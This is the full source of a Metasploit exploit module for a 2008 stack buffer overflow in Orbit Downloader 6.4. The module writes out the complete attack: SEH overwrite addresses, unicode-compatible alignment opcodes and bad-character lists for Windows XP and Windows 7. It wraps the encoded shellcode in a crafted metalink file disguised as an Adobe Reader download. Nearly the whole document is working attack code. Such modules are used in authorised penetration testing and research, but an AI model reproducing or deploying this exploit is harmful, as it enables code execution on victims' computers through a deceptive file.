Orbit Downloader – URL Unicode Conversion Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Orbit Downloader URL Unicode Conversion Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Orbit Downloader. The vulnerability is due to Orbit converting an URL ascii string to unicode in a insecure way with MultiByteToWideChar. The vulnerability is exploited with a specially crafted metalink file that should be opened with Orbit through the "File->Add Metalink..." option. }, 'License' => MSF_LICENSE, 'Author' => [ 'Diego Juarez', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'Version' => '$ $', 'References' => [ [ 'BID', '28541' ], [ 'OSVDB', '44036' ], [ 'CVE', '2008-1602' ], [ 'URL', 'http://www.coresecurity.com/content/orbit-downloader' ], ], 'Payload' => { 'Space' => 2000, 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'EncoderOptions' => { 'BufferRegister' => 'EAX' }, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x26\x3c", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'Orbit Downloader 6.4 on Windows XP SP3', { 'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe 'Nop' => 0x46, # 004600 => add [esi+0x0],al 'AddEax' => "\x05\x15\x11", # add eax,0x11001500 'Offset' => 4 } ], [ 'Orbit Downloader 6.4 on Windows 7', { 'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe 'Nop' => 0x46, # 004600 => add [esi+0x0],al 'AddEax' => "\x05\x16\x11", # add eax,0x11001600 'Offset' => 120 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 03 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.metalink']), ], self.class) end def exploit sploit = rand_text_alpha(4096 - "http://".length) sploit << "\xff" * 2 # EIP => Access Violation sploit << rand_text_alpha(120) # padding sploit << "\x61\x62" # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200) sploit << [target.ret].pack("v") # seh # ppr sploit << target['Nop'] sploit << target['AddEax'] # eax align is os dependant sploit << target['Nop'] sploit << "\x2d\x11\x11" # sub eax,0x11001100 sploit << target['Nop'] sploit << "\x50" # push eax sploit << target['Nop'] sploit << "\xc3" # ret sploit << rand_text_alpha(target['Offset']) # align shellcode to eax pointer sploit << payload.encoded metalink = %Q| <?xml version="1.0" encoding="utf-8"?> <metalink version="3.0" generator="Metalink Generator v1.00.0034" xmlns="http://www.metalinker.org/"> <publisher> <name>Adobe</name> <url>http://www.adobe.com/</url> </publisher> <description>Adobe Acrobat Reader</description> <files> <file name="AdbeRdr80_en_US.exe"> <version>8.0</version> <language>en-US</language> <os>Windows-x86</os> <verification> <hash type="md5">0ab5ce309f313ed028824251c798b35c</hash> </verification> <resources> <url type="http" preference="100">http://#{sploit}.com/pub/adobe/reader/win/8.x/8.0/enu/AdbeRdr80_en_US.exe</url> </resources> </file> </files> </metalink> | print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(metalink) end end |